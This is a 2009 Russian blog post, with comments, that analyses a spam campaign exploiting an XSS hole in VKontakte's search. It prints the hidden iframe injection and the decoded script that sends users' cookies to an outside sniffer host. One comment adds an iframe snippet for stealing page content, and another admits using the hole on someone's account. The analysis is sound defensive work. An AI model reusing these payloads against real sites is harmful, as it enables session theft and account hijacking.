Информационная безопасность

индекс
289,97

XSS вконтакте

Предыстория (можно не читать)


Прихожу я сегодня домой и вижу в личке вконтакта 9 сообщений. Т.к. я не особо люблю и не часто посещаю этот ресурс — сие событие было странным. В сообщениях пользователи писали что от меня вконтакте рассылается спам. Плохо, но да ладно, сменил пароль и все… Хотя задумался: старый пароль — 12 символьный цифробуквенный, сбрутить почти нераельно. Комп кристально чист и не заразен… Так в чем же дело?

Разбор полетов


Смотрю текст сообщения, разосланного от моего имени:


привет, этo не cпам!раccылаю этo cooбщение вcем cвoим друзьям.я cегoдня удалю cвoю cтраничку вкoнтакте,дocтал cпам oкoнчательнo.Так чтo,еcли чтo-тo будет нужнo,либo звoни\пиши на мoбильник,либo ищи меня здеcь http://odnonochniki.?tk/,там xoтя бы cпама нету) ,я пoд cвoей фамилией и имнем.вoт так.


И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.

А теперь заходим на эту страничку (из незалогиненного браузера!), и смотрим код. Что же мы видим?
В коде подгружается скрытый плавающий фрейм:


<iframe src='http://%76%6b%6f%6e%74%61%6b%74%65%2e%72%75/gsearch.php?q=%27;()())//\%27;document.write(String.fromCharCode(60,115,99,114,105,112,тут было еще много цифр через запятую, которые растягивали страницу и за это их забрало НЛО. Если кому они действительно нужны - в личку))//%22;%3C%3E%22)//\%22;%3C%3E%22%3C%3E%22%22!---%22?%3E#c[q]=%27%3B()())%20%20\&c[section]=people' style='display:none;'></iframe>


Ссылка ведет на заURLencode-нный «vkontakte.ru», к скрипту, выполняющему поиск. Как известно, после процедуры поиска текст запроса выводится обратно пользователю, этим (а также отсутствием должной фильтрации) и воспользовались спамеры в данном случае.
В строку запроса внедряется Javascript-код, в данном случае это закодированый в ASCII код еще одного фрейма:

<script>document.write('<iframe src="http://webzer.vov.ru/s.php?dc='+document.cookie+'" style="display:none;"></iframe>');</script>

Это собственно и есть снифер, на который и улетают куки вконтакта некоторых любопытных пользователей типа меня.

Уязвимость актуальна на момент написания, простой алерт (проверено под оперой) демонстрирует это. В IE не работает, т.к. там нет поддержки протокола «data:», а я не специалист по написанию эксплоитов.

Некоторые выводы


  • Не ходить по левым ссылкам.
  • Безопасный браузер ничего не гарантирует (в данном случае это XSS-уязвимость на «крупнейшем сайте рунета»), а вот бдительность усыпляет


UPD: Пример с алертом перестал работать уже через 3.5 часа после публикации. Для тех, кто не успел посмотреть сохранился скриншот.
+168
17 июня 2009, 15:03
39

комментарии (144)

+4
lomalkin #
Напомните ссылку на хабраредактор, а то самому страшно.
+1
nons #
+2
Tr0y #
Судя по тому, что вы перешли по ссылке от явно спам письма, то об этой фразе «Комп кристально чист и не заразен…», можно забыть.
+2
lomalkin #
Согласен, но в данном случае: Думаю мало кто возьмется спорить с тем при использовании последних версий постоянно развивающихся альтернтивных браузеров выполнение кода на локальной машине практически исключено. С учетом также моего патологически-параноидального отношения к авторанам на флешках, левым экзешникам, с наличием на компьютере продуктов, организующих безопасность на нем в конце концов… Ну следуя из всего этого я так заключил. Все чисто, разве что не блестит =)
+9
Joka #
щас вконтакте подсуетится и закроет дыру. надеюсь.
+1
lomalkin #
всегда к этому идет, когда подобные вещи вылезают в паблик =)
+5
Joka #
да я же только за. хотя не ясно тогда сколько же получают программисты вконтакте если они допускают такие ошибки (под словом получают имелось ввиду и сумма зп и их проф уровень). это же не сайт васи пупкина. это громадная соц сеть которую должны пробовать на взлом хакеры (само собой по заказу владельцев вконтакте), специалисты по безопасности и тд и тп.

не понимаю…
+6
Zimyand #
На этот вопрос Вам ответит вакансия, которая светилась относительно недавно там…
Вкратце — програмист-верстальщик-дизайнер.
Хотя со всеми бывает… Может человеческий фактор.
–23
egorinsk #
Цель программсита побыстрее сдать код и получить деньгию. Плевать он хотел на вашу безопасность. Вы посмотрите на винду какую-нибудь, мегакорпорация, а делают систему на уровне разработок 20-летней давности. Победил индус-стайл кодинг, ничего не поделаешь.

Хотя избегать XSS — проще простого.
+11
Joka #
1. не все программисты которые просто хотят денег.
2. винду делают между прочим на высочайшем уровне на котором ни вам и ни мне не снилось даже. cmm5 в полной мере это вам не вася пупкин ко. а то что у них есть баги — я бы на вас глянул с таким обьемом кода сколько бы там багов было.

плохо то что программситы знают о дыре и не закрывают.
либо это кому то выгодно, либо это кому то выгодно :) ибо уважающий себя программист узнав о дыре сразу же полезет ее латать.
+2
catbegemot #
Это не так. Практически у любого программиста (вне зависимости от уровня самоуважения) есть начальство…
+1
Joka #
значит дыра выгодна начальству, или их начальству и тд…
лично я не вижу других причин не закрывать зная про нее
+2
lomalkin #
Причина — деньги. Грубо говоря при выполнении заказа фирмой далеко не всегда в ТЗ оговаривается безопасность создаваемого продукта, или это идет за отдельную цену и влечет за собой какие-либо гарантии.
–18
egorinsk #
1. Есть, но их маловато.или они видимо работают в каих то других областях.
2. Я не знаю, что такое cmm5, я про интерфейс. Извините, но эти несчастные меню, окошки, диалоги сохранения файла, и прочая хрень (Меню «Пуск», когда же оно сдохнет!), стыренная у ксерокса и эппл, придуманы лет 30 назад, они давно и безнадежно устарели. Впрочем, когда МС тырит идеи, это еще ничего, а вот когда сами придумывают, получается ужас типа ribbon. Хотя наверно, это вечный религиозный спор :)

Программситы, авозможно, все заняты, им не до этого, и с чего кстати вы взяли, что они о ней знают.
+7
antyblin #
Да-да! А ещё Microsoft стырил идею одинаковые повторяющиеся действия объединять в цикл! ;-)
+15
pdev #
Как вы заебали сунуть свой эппл и ругать винду. Разговор вообще не об этом
+3
Somadhy #
Ну так обидно купить эпл, в двое заплатить против писи и не получить ничего реально выдающегося. (:
+2
nrdcp #
Скорее всего имелось ввиду CMMI For Development Maturity Level 5, который крайне тяжело получить.
+4
mumia #
обвините тойоту что украли у форда идею движущийся тележки на четырех колесах…
–2
blackst0ne #
Майкрософту выгодно выпускать Windows с багами, ведь можно будет продать следующую версию Windows, которая безопаснее, удобнее и современнее.
0
ainu #
Винда? Да ну бросьте, не всегда старый код плох. Или то, что vi уже 33 года, уже не аргумент?
–1
egorinsk #
Вы считаете, что винду надо сделать в стиле vi? С простым и понятным даже новичку интерфейсом?

У нее сейчас то интерфейс непонятный, без толстенного мануала не разберешься. а vi вообще человеку нормальному не осилить.
–5
navix #
Это сайт Пашки Дурова, учитывая направление его развития, его не сервис интересует, а купоны.
0
ocnk #
Хех. Вконтакте глюки верстки в профиле не могут месяца 3 подправить, только на моей памяти… что уж говорить об программинге :)
+4
metaball #
Думаю, тут приоритеты другие.
+3
kingoleg #
Дырка жива давно. Народ не чешется.
0
Mezomish #
Кстати, да. От жены таким же образом рассылались сообщения чуть ли не полгода назад. После краткой лекции «не ходить по левым ссылкам и т.д.» и смены пароля — более не повторялось.

А вот у её знакомой в одноглазниках было ещё интереснее: аналогичный спам, но разным людям — разный, причём сделано просто офигенно, и выглядит как продолжение переписки (с цитированием и более-менее осмысленным комментарием), после которого идёт «кстати, я тут в конкурсе участвую, бла-бла-бла....». Самое интересное — конкурс от самих одноглазников. Что ещё интереснее — через пару дней письма самопроизвольно удалились.
+2
kingoleg #
Вот так и я удалился из Одноклассников. Позорище хуже ВКонтакте.
+3
Saburovo #
Очень вряд ли — до сих пор вон просмотр скрытых фотографий латают
0
mkaz #
Да мне думается что не латают вовсе — там невелика проблема, исправить все можно за день-другой. При желании, конечно.
0
Saburovo #
Ага, некогда — монетизацией, бедные, занимаются :)
+4
leomac #
Судя по сообщениям на форуме их техподдержки — уязвимости полгода минимум, а вот закрывать её они не горят желанием. Сам вчера так же попался :)
0
leomac #
ответ на описание уязвимости на форуме: «знаем».
+4
13pm #
ну так а что вы хотели, если у них такие сотрудники? :)
+1
Piterski #
Как бе — «В работе над новым поиском участвовали лучшие программисты планеты.» © Блог ВКонтакте. :D
0
lomalkin #
Эм… Может у них уже своя какая-то планета?)
+4
13pm #
+5
Bright #
цитатка как раз оттуда:
«Если Вы считаете, что для успешной работы программисту требуются специальные тестеры и менеджеры по качеству, мы с Вами живем в разных мирах.»
0
hooey #
Странно что полгода, ведь gsearch.php появился буквально пару месяцев назад.
0
leomac #
да, вы правы, я перепутал сообщения. В феврале говорилось о какой-то другой уязвимости. Сабжевая упоминается в начале июня
0
pento #
Безопасный браузер ничего не гарантирует (в данном случае это XSS-уязвимость на «крупнейшем сайте рунета»), а вот бдительность усыпляет

0
pento #
Случано отправилось…
Так вот к тому же ФФ есть Noscript, который по идеи такую заразу должен уметь резать.
+18
PoliTeX #
xss — лажа сайта, а не браузера.
+1
pento #
С этим никто не спорит и исправлять это конечно надо на уровне кода веб-приложения.
Но страдает от этого «браузер» и поэтому дополнения вроде Noscript безусловно полезны и выполняют свои функции неплохо.
–1
PoliTeX #
посмотрел на описание этого плагина, он же только отключает скрипты для конкретного сайта, в опере (использует автор статьи) такое есть, но толку мало, надо же знать, что сайт с уязвимостью.
+2
pento #
Почитайте более подробно как работает. Он в по умолчанию отключает все скрипты, а вы уже включаете скрипты для конкретного сайта/домена.
+3
cst #
Он блокирует все XSS и подозрительные скрипты. Отключать можно гибко, лучший плагин для безопасного серфинга.
+2
lomalkin #
Что значит «все XSS»? Все скрипты, обращающиеся на сторонние хосты/подгружающиеся со сторонних хостов?
0
pento #
The Noscript Firefox extension provides extra protection for Firefox, Flock, Seamonkey and other mozilla-based browsers: this free, open source add-on allows Javascript, Java and Flash and other plugins to be executed only by trusted web sites of your choice (e.g. your online bank), and provides the most powerful Anti-XSS protection available in a browser.
+8
sk2 #
за что минусы? у меня noscript по-умолчанию разрешает все скрипты на всех сайтах, но после попытки перейти по ссылке «демонстрирует это» noscript написал, что заблокировал потенциальную xss атаку. так что все он умеет и режет.
0
sk2 #
забыл добавить — никакого алерта не было. попробовал в опере — выскакивает.
–2
lomalkin #
Не знаю за что минусы, но я подобные вещи не использую т.к. представляется некоторая аналогия такой надстройки с фаерволом и его правилами. Но если фаерволом я реально защищаю свою машину, и впринципе все прозрачно для пользователя разрешается/запрещается, а noscript — зная, как в вебе все подгружается не понять откуда и куда (хосты разные даже в пределах одного ресурса, тот же вконтакте с их серверами фотографий формата csXXX.vkontakte.ru и не только) — не заморачиваюсь в общем, а считаю что все XSS-проблемы должны решаться на стороне сервера. Т.к. на 100% тут noscript всеравно не спасет (нет четких правил что можно, а что нельзя подгружать), а вот время отнимет на то чтобы разбираться со всем этим. Когда я хочу зайти в веб, на какой-нибудь сайтик, посмотреть там фотки гламурненьких машинок и собачек, а не думать о работе, настраивая правила безопасности :) имхо.
+1
pento #
Ваши бы принципы да веб-разработчикам в уши. Вот оно и решается допустим на том же «В контакте». Решается долго, а в это время происходят атаки, описанные вами же. Пользователям ждать, когда же наконец-то разработчик исправить XSS и «не пользоваться интернетом»? Никто не отрицает того факта, что надо исправлять на стороне сервера, но время обнаружения/исправления/тестирования обычно не такое маленькое как вы себе видимо представляете. Noscript помогает как раз в этот промежуток (когда разработчик наконец-то додумается исправить баг) пользователям избежать атаки.
0
lomalkin #
Ну я нигде не сказал что «noscript не нужен», я просто объяснил почему это не является настоящим решением проблемы, и рассказал почему не пользуюсь сам. Раз существует — значит это действительно кому-то нужно, но и не обязательно что нужно сразу всем.
+6
init0 #
+8
Infthi #
для наибольшей безопасности нужен nohtml <_<
0
Joka #
кстати у меня на незалогиненом в контакте по вашей ссылки для проверки уявзимости выдало запрос на логин и никакого алерта. таки логинится надо чтобы поиск работал.
+1
lomalkin #
Да, в этом случае надо логиниться, иначе не работает.
НЛО прилетело и опубликовало эту надпись здесь
+4
cst #
Noscript вам в браузер. Спасает от XXS и от Javascript на ненужных страницах.
0
lomalkin #
Клиентская часть защиты это хорошо, но это не устраняет корень проблемы, который как был на сайте, так и есть.
+3
cst #
Да я все это понимаю, но ошибки будут всегда. От этого никуда не деться, за всем не уследишь. Поэтому Noscript и есть.
+1
pento #
Вот именно. Ошибки исправлять конечно надо в веб-приложениях, но и Noscript на всякий случай держать не помешает.

Блин, какие-то умники заминусовали..:(
–3
cst #
Да не переживай за минусы =) Я вон из -2 год вылезти не могу и не расстраиваюсь =)
+44
Napolsky #
Дурыч посасывает хуйцы в очередной раз :) А ведь клятвенно заверял, что никаких уязвимостей на их сайте нет и быть не может, а весь спам это из за глупых пользователей, оставляющих свои пароли где попало…
+9
nooze #
Наверно идеальный пользователь в его понимании это тот, который сидит только в контакте и других сайтов для него не существует. Что ж, он пожалуй в безопасности :D Ах да, приложения тоже запускать не желательно
+8
lomalkin #
Дуров за Интернет и против Экстернета. =)
+5
ViolentOr #
Дуров много что клятвенно заверял =) Про эту уязвимость «девёлопёрам» известно уже месяца 2 точно, воз, как видно, и ныне там =) Получается как в басне, практически =) Дуров весь в белом, аки лебедь, вконтактёры раком… ну и где-то еще с… щуки-спамеры =)
+2
lomalkin #
… и про отсутствие рекламы в самом начале их развития неоднократно говорилось =)
+2
Kastrulya #
реклама это ладно. я ее просто игнорирую. а они деньги получают. так что не парит. а деньги нужны всем, хоть убей.
+1
lomalkin #
«но ведь обещали» (с) =)
+2
Kastrulya #
«зарплаты будут больше, жилье дешевле»… слышали все это ;)))
+7
Error_403_Forbidden #
Дуров говорил про сферического пользователя в вакууме
+1
Kastrulya #
подобное заявление — уже глупость=))
+3
kesar #
«Эта музыка будет вечной»
+2
firstbyte #
О, эта уязвимость не нова. Сначала я видел людей, рассылающих друзьям на стены сообщения вида «глянь третий ролик в пятом ряду на этом порносайте, это очень смешно», потом стали приходить уже мне личные сообщения с тестом IQ и фразой «приветик» от довольно брутальных по характеру парней. От этого ведь не защитишься на стороне сервера?
–2
Chesheer #
Ох уже эти социалки, ох уж эти разработчечги…

offtop: Не первый год с интересом наблюдаю за всем, что творится в этих вконтактах-одноклассниках-соседях-социалках и тихо радуюсь, что до сих пор так и не зарегистрировался там.
НЛО прилетело и опубликовало эту надпись здесь
–1
ivlis #
Требуется нотариально заверенный скриншот! :)
А то у меня нет логиа вконтакте, не могу посмотреть что там по ссылке.
+1
lomalkin #
Да пожалуйста! Заверить к сожалению не могу, у нас все уже закрыто =)
0
bar_boss #
А что означает это 777?
+3
lomalkin #
Вообще 777 ничего не обозначает, я там просто alert(777); я привык алертить цифры, т.к. если получается с цифрами, то например в этом случае даже фильтрацию на кавычки можно обойти тем же String.fromCharCode(), закодировав нужный код.
P.S. Хотя нет, наверное все-таки обозначает. Знаете, в рулетке когда 777 выпадает — Удача значит! =)
0
ainu #
Я делаю alert(1)
+2
zerkms #
это не xss, а csrf
0
lomalkin #
Это как раз XSS — выполнение кода в контексте безопасности уязвимого сайта. Выполняющийся код имеет доступ к кукам своего домена, в данном случае это vkontakte.ru, а вот сами данные передаются на сторонний сервер
+6
nooze #
Там и то и то
Сначала csrf а уже внутри xss
Тема безопасности вконтакте может собрать много прикольных аббревиатур…
0
zerkms #
а… там xss на странице, на которой предупреждение о переходе на сторонний ресурс?
пардон тогда, это не совсем очевидно из текста поста для людей, которые редко пользуются сабжем.
0
lomalkin #
Это не страница вконтакта, это «главная» _там_. На ней все это наглым образом и работает пока пользователь читает текст…
0
zerkms #
если это главная страница там, тогда это csrf.
где тут xss?
0
lomalkin #
В самом контакте. А реализовано все вместе с помощью и CSRF и XSS, да.
+1
nooze #
xss там потому что работает в поле поиска js код
csrf там потому что можно работать с контактом через чужой сайт заполняя нужные поля автоматом

ваш КО
0
zerkms #
угу, торможу. спасибо за терпение :-)
0
zerkms #
понял, пардон. торможу.
–5
Error_403_Forbidden #
«ну и естественно, сидя на опере, чуствуя себя в безопасности»

«В IE не работает, т.к. там нет поддержки протокола «data:»»

Ну и кто тут безопаснее?
А вообще, наивно думать, что существует безопасный браузер. «Я пользуюсь оперой, теперь меня не достанут хакеры!», «ЗА FF я как за каменной стеной!»
+2
lomalkin #
data: это только в мной написанном примере для демонстрации, т.к. меня бы заминусовали если бы я сделал сслыку в iframe на свой файлик с алертом, и правильно бы сделали, т.к. там может быть совсем не алерт.
А у них полноценный кросс-браузерный прикол.
0
Smerig #
ага, щас еще unity: добавился :)
+7
Smerig #
наверное не стоило это писать. Не читайте тот комент :)
0
lomalkin #
Ctrl+Z, ага =)
+2
grdigger #
>ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.

безопастной бывает только гиря без ручки, в квадратном цементном блоке и то не на 100%
+6
nooze #
Гиря в цементном блоке — очень опасная вещь!
0
grdigger #
она без ручки :)
+2
nooze #
Так еще опасней, неудобно перемещать и может выскользнуть
0
lomalkin #
да, я порой легкомысленен =)
0
everm1nd #
я вот думаю, что вариантом защиты (пока дыру не залатали, разумеется) может быть следующий плагин:
он смотрит содержимое страницы, декодит все ссылки в plaintext, а потом если находит в них переход на vkontakte.ru с левого сайта, то запрашивает подтверждение у пользователя.
такие реквесты будут всплывать не часто (у меня может раз в 2 дня), а защита хорошая. что-то типо UAC в висте.
хорошо было бы все это написать как userjs, да вот только не факт, что яваскрипт успеет вовремя перехватить злобный переход
+6
DileSoft #
Найдено ERROR near '++++&+092;))#R1000%)' человек (1-ERROR near '++++&+092;))#R1000%)' ).
Server error

Это, похоже, не только яваскриптовая, но и внутренняя инъекция!
0
lomalkin #
Похоже. Я тоже про это подумал, но времени нет ковырять. М.б. кто-нибудь займется…
0
kns #
Наверно, следы недавних доработок поиска. Попробуй найти кого-нибудь с днем рождения, скажем, 30 февраля. А раньше находило. :)
0
kns #
Упс. 30 февраля находит, а вот 32 мая — нет.
–1
eosunknown #
Это же детская ошибка… Капец %)
+1
m00nbI4 #
Никогда не будет решена проблема ВКонтакте. Поэтому лучше не открывать ссылки подозрительныее и не будет проблем лишних… Начиная от спама, заканчивая угонами ICQ и тд.
0
vlsergey #
Подскажите,

«Закроется» ли эта бага, если везде будет нормальный escaping?

(не сотрудник ВКонтакте, интересует потенциально для своих сайтов)
0
lomalkin #
Поидее именно это и нужно, но в случае с ajax возможно есть еще какие-либо особенности, о которых я не знаю.
+1
egorinsk #
Да, закроестся. В php можно использовать функцию htmlspecialchars($text, ENT_QUOTES, ваша кодировка), в smarty |escape:html, в джанго вроде все эскейпится по умолчанию.
0
GlumShadow #
от любопытных пользователей не спасет никакая защита :)
не силен в технологии, но куки воруют от многих сайтов, сколько раз уже писали на free-lance.ru про подобные случаи
У меня для всяких подозрительных ссылок отдельный браузер, с чистыми куками и кэшем, мало ли…

–3
egorinsk #
Эх, вот не зря у меня на незнакомых сайтах отключены ифреймы, явакрипт, флеш и прочая муть :)) Спасибо Опере за это))
0
kulakowka #
мои друзья сегодня тоже получили от меня такую херню.
+1
DmitriKadykov #
А ещё на вконтакте можно в дате рождения можно ввести 31-е февраля. Какие-то мудаки, честно слово, разрабатывают этот сайт.
+3
lomalkin #
Мне тоже как-то делать было нечего, результат: 32 фебраля 31337 года. И отрицательный возраст.
0
ainu #
скрин? сохранился?
+1
lomalkin #
vkontakte.ru/id4052768 не только скрин =)
0
setevik #
Noscript отфильтровал потенциальную XSS-атаку

Так-то )
0
setevik #
Это исключительно к фразе
Безопасный браузер ничего не гарантирует
0
AwesomeBanana #
Насколько я понимаю, спасет открытие сомнительных ссылок в хроме в режиме инкогнито.
0
Metalic #
теперь и в FF3.5 (на данный момент версия RC)
но точно ли спасет?
–2
adrianov #
Установил Noscript.
+1
GmasteR #
Уже не работает…
+1
lomalkin #
Точно. По крайней мере пример из статьи перестал работать… Неужели зашевелились?
+1
brainfucker #
Да дыру закрыли, а ведь даже жаль… =)
+1
lomalkin #
Кто ищет — тот найдет ;)
0
r0b1n #
ага, видать закрыли.
0
Kastrulya #
потому что из приватов в массы вышла.
–2
slesar #
> И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.

Я что-то не пойму, кто все-таки виноват? Если я ногой случайно сетевой фильтр выключу — это майкрософт виноват, что я под виндой работаю?

А вообще опера вроде частично блочит джаваскрипт между фрэймами с разными доменами?
–1
lomalkin #
Виноват кто? В обеспечении безопасности своего ресурса виноват вконтакт, в обеспечении же своей собственной безопасности, а также в нарушении психического здоровья моих друзей в результате спам-рассылки — виноват я сам =)

Насчет фреймов. Встречал я вот такой кусочек кода:

var iframe = document.createElement('IFRAME');
//have the IFRAME download the content we want to steal
iframe.src = 'http://site.com/AddressBook.php);
//make the IFRAME invisible
iframe.style=«width:0px; height:0px; border: 0px»
//set our function to call when the IFRAME is done loading
iframe.onload = callbackFunction;
//now add the IFRAME to the DOM.
Document.body.appendChild(iframe);

Это к слову для организации CSRF. Получается можно загружать и с разных хостов.
+2
iseg #
roem.ru/2009/04/25/addednews10574/
… durov 25.04.2009 21:55:48 #… Взламывают через фишинговые сайты, как и везде…
… durov 26.04.2009 07:56:36 #… был слив паролей с сайта free-lance.ru…

ну и т.д.
+2
la0 #
На самом деле: чем популярнее продукт, тем больше уязвимостей в нем найдут.
Будь это сайт, машина, телефон(привет iphone с псевдоуязвимостью), самый банальный справочник/учебник.
По сколько раз их переиздают/пересоздают? и, заметте, не просто так.
Это нормальный процесс. Отвалилась штукатурка, закрасили
+1
lomalkin #
Про штукатурку понравилось =)
–1
hobbit19 #
интересно много ли хаброюзеров читают спам приходящий в ящик вкантакте?
0
lomalkin #
Ну как минимум я не один «такой умный» =)
И почему-то кажется что хоть одним глазком его читают все. Хотябы тему сообщения.
–1
varyen #
И только мне начало казаться, что разрабы вконтактика научились на собственных ошибках и стали их меньше делать…
+2
citrin #
document.cookie…

Если бы они использовали httponly куки для авторизации, то как минимум не пострадали бы пользователи браузеров поддерживающих такие куки:
www.owasp.org/index.php/HTTPOnly

Странно что кто то для session id еще использует куки без httponly. Может я чего то не знаю и на это есть причины?
–2
p4s8x #
Вы определенное редко посещаете контакт) Такое стабильно присылается раз в неделю мне ну и посылается далее -на***- в спам без прочтения. Ну… контакт тот еще дуршлаг)) Хотя у меня всегда складывается ощущение, что большенство, так называемых багов там, сделаны специально) например доступ к закрытым фотоальбомам видео и прочь), но конешно эта дыра к такого рода не относится…
+1
ainu #
Доступ, например, к картинкам как файлам сделан правильно (то, что любой может открытьлюбой файл — картинку). Если прогонять всю медию через серверный скрипт, у них всё там поляжет.
0
Grawl #
вот и выплыл очередной способ заработка вконтакта.
или вконтакт поддерживает какой-нибудь сумасшедший и щедрый миллионер / РФ?
или нет?
+1
Bonch #
Эхх. А я успел при помощи этой атаки поприкалываться на другом (менял статус у него).
Хотел было приколоться, сделать сервис «Залогинься на любой аккаунт вконтакта». Не успел :)

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.